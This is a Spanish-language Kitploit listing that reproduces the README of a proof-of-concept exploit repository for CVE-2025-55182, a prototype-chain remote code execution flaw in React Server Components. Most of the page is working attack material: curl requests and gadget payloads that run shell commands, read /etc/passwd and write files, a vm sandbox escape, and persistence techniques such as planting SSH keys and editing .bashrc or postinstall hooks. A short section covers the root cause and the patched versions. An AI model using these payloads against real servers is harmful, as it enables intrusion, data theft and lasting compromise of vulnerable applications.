Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/pa2sw0rd/exploit-cve-2025-55182-poc
Análisis de VulnerabilidadesAnálisis de CódigoExplotaciónExplotación de Aplicaciones WebPapers e InvestigaciónAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHub
pa2sw0rd/exploit-cve-2025-55182-poc

exploit-CVE-2025-55182-poc

Esta POC demuestra CVE-2025-55182 utilizando el código vulnerable real de `[email protected]`.

Ver Repositorio
12hace 9 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2025-55182 - Vulnerabilidad de la cadena de prototipos en React Server Components

Este POC demuestra la CVE-2025-55182 utilizando el código vulnerable real de [email protected].

Guía de corrección de emergencia para CVE-2025-55182: análisis completo y mitigación para la vulnerabilidad RSC de Next.js/React (CVSS 10.0)

Este repositorio es un fork de https://github.com/ejpir/CVE-2025-55182-poc y aún no ha sido verificado. ¡Tenga precaución y verifíquelo detenidamente!

Inicio rápido

root@kitploit:~
# Instalar dependencias
npm install

# Iniciar el servidor vulnerable (puerto 3002)
npm start

# Ejecutar el exploit RCE
npm run exploit

Salida esperada

root@kitploit:~
=== CVE-2025-55182 - RCE mediante vm.runInThisContext ===

Prueba 1: Llamada directa a vm#runInThisContext con código
1+1 = {"success":true,"result":"2"}

Prueba 2: vm.runInThisContext con require
Intento de RCE: {"success":true,"result":"uid=501(nick) gid=20(staff)..."}

Scripts NPM

root@kitploit:~
# Servidores
npm start              # Iniciar el servidor principal (server-realistic.js, puerto 3002)
npm run start:legacy   # Iniciar el servidor heredado (server.js, puerto 3002)
npm run start:module   # Iniciar el servidor de módulos (puerto 3003) - hipotético, ver nota abajo

# Exploits (usar con npm start)
npm run exploit            # Demo RCE (usa vm, funciona con cualquiera: vm, child_process, fs)
npm run exploit:all        # Probar todos los gadgets
npm run exploit:persistence # Ataques de persistencia (solo fs)
npm run exploit:research   # Investigación de la cadena de prototipos

# Exploits hipotéticos (usar con start:module)
npm run exploit:module     # RCE en dos pasos mediante module#_load
npm run exploit:indirect   # RCE en dos pasos con archivo de prueba

Nota: Los exploits de module son hipotéticos. El módulo integrado module rara vez se incluye en aplicaciones de producción. Demuestran una vía de ataque teórica cuando solo están disponibles fs + module (sin vm/child_process). En la práctica, las aplicaciones con fs suelen tener también child_process a través de dependencias como sharp, puppeteer o execa.

Probar gadgets individuales

root@kitploit:~
# Iniciar el servidor primero
npm start

# Probar lectura de fs
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"fs#readFileSync","bound":["/etc/passwd","utf8"]}'

# Probar ejecución de comandos
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"child_process#execSync","bound":["whoami"]}'

# Probar ejecución de código vm
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_REF_0=' \
  -F '$ACTION_0:0={"id":"vm#runInThisContext","bound":["1+1"]}'

# Probar acceso a la cadena de prototipos
curl -X POST http://localhost:3002/formaction \
  -F '$ACTION_ID_abc123def456#constructor='

Archivos clave

Servidores

ArchivoPuertoDescripción
src/server-realistic.js3002Servidor principal - simula un bundle de webpack con módulos comunes (fs, vm, child_process)
src/server.js3002Servidor heredado (usa require directo)
src/server-module-test.js3003Servidor con module + fs (para investigación)

Scripts de exploit

ArchivoDescripción
exploit-rce-v4.jsRCE principal mediante vm#runInThisContext
exploit-all-gadgets.jsPrueba todos los gadgets RCE (vm, child_process, fs)
exploit-module-load.jsRCE en dos pasos mediante fs + module#_load
exploit-indirect-rce.jsRCE en dos pasos con creación de archivo de prueba
exploit-persistence.jsAtaques de persistencia (claves SSH, .bashrc)
exploit-research.jsInvestigación de la cadena de prototipos

Cómo funciona server-realistic.js

Simula un bundle real de webpack donde las aplicaciones suelen incluir módulos peligrosos a través de dependencias:

root@kitploit:~
// Módulos agrupados (lo que se incluye al usar paquetes comunes)
const BUNDLED_MODULES = {
  'actions-chunk-123': { /* acciones del servidor del usuario */ },
  'fs': require('fs'),           // a través de fs-extra, gray-matter, multer
  'child_process': require('child_process'), // a través de execa, shelljs, puppeteer
  'vm': require('vm'),           // a través de ejs, pug, handlebars
  'util': require('util'),
};

La función __webpack_require__ solo carga módulos de BUNDLED_MODULES, simulando el comportamiento real de webpack.

La vulnerabilidad

Causa raíz

En requireModule(), los exports se acceden mediante notación de corchetes sin comprobación de hasOwnProperty:

root@kitploit:~
// VULNERABLE (React 19.0.0)
return moduleExports[metadata[2]];  // ¡Accede a la cadena de prototipos!

// CORREGIDO (React 19.2.1)
if (hasOwnProperty.call(moduleExports, metadata[2]))
  return moduleExports[metadata[2]];

Vector de ataque

  1. Enviar $ACTION_REF_0 con metadatos de acción vinculados
  2. id: 'vm#runInThisContext' carga el módulo vm y accede al export runInThisContext
  3. El array bound se convierte en los argumentos de la función
  4. Cuando se invoca la acción: runInThisContext(CODE) ejecuta código arbitrario

Todos los gadgets RCE verificados

GadgetEstadoDescripción
vm#runInThisContext✓Ejecutar JS arbitrario en el contexto actual
vm#runInNewContext✓Ejecutar en "sandbox" (fácil de evadir)
child_process#execSync✓Ejecución directa de comandos de shell
child_process#execFileSync✓Ejecutar archivos binarios
child_process#spawnSync✓Crear proceso (devuelve un objeto)
module#_load✓Cargar y ejecutar archivo JS (en 2 pasos con fs)
fs#readFileSync✓Leer archivos arbitrarios
fs#writeFileSync✓Escribir archivos arbitrarios

Ejemplos de payloads de gadgets

Ejecutar comando de shell (whoami):

root@kitploit:~
{ id: 'child_process#execSync', bound: ['whoami'] }

Leer archivos sensibles:

root@kitploit:~
{ id: 'fs#readFileSync', bound: ['/etc/passwd'] }

Escribir archivos en disco:

root@kitploit:~
{ id: 'fs#writeFileSync', bound: ['/tmp/pwned.txt', 'CVE-2025-55182'] }

Ejecutar JavaScript arbitrario:

root@kitploit:~
{
  id: 'vm#runInThisContext',
  bound: ['process.mainModule.require("child_process").execSync("id").toString()']
}

Evasión de sandbox (vm.runInNewContext):

root@kitploit:~
{
  id: 'vm#runInNewContext',
  bound: ['this.constructor.constructor("return process")().mainModule.require("child_process").execSync("whoami").toString()']
}

Vías de ataque alternativas

¿Necesitas vm o child_process?

Para RCE directo: Sí, necesitas uno de:

  • Módulo vm (runInThisContext, runInNewContext)
  • Módulo child_process (execSync, execFileSync, spawnSync)

Para RCE indirecto (solo fs): ¡No! Con solo fs puedes:

  • Escribir en ~/.ssh/authorized_keys → acceso SSH
  • Añadir a ~/.bashrc → ejecución de código en el próximo inicio de sesión
  • Sobrescribir node_modules/* → RCE al reiniciar la aplicación
  • Modificar postinstall en package.json → RCE en el próximo npm install

Hipotético: RCE en dos pasos con module#_load

Nota: Esto es hipotético. El módulo integrado module rara vez se incluye en producción.

root@kitploit:~
// Paso 1: Escribir módulo malicioso
{ id: 'fs#writeFileSync', bound: ['/tmp/evil.js', 'module.exports = require("child_process").execSync("id")'] }

// Paso 2: Cargarlo
{ id: 'module#_load', bound: ['/tmp/evil.js'] }
// Resultado: ¡RCE!

Resultados de comparación

VersiónAtaqueResultado
React 19.0.0vm#runInThisContext✓ RCE logrado
React 19.2.1vm#runInThisContext✗ Bloqueado

Probar la versión corregida

root@kitploit:~
cd /tmp/react-rsc-patched
npm install [email protected]
npm start
# Los ataques fallarán

Paquetes npm vulnerables

Consulta VULNERABLE-PACKAGES.md para conocer la investigación sobre paquetes npm populares que incluyen módulos peligrosos:

MóduloDescargas semanalesPaquetes populares
fs145M+fs-extra, gray-matter, multer, sharp
child_process103M+execa, shelljs, puppeteer, sharp
vm21M+ejs, pug, handlebars, vm2

Versiones afectadas

  • react-server-dom-webpack: < 19.2.0
  • react-server-dom-turbopack: < 19.2.0

Versiones corregidas

  • react-server-dom-webpack: >= 19.2.0
  • react-server-dom-turbopack: >= 19.2.0
  • Next.js: 15.0.5+
Descargar herramienta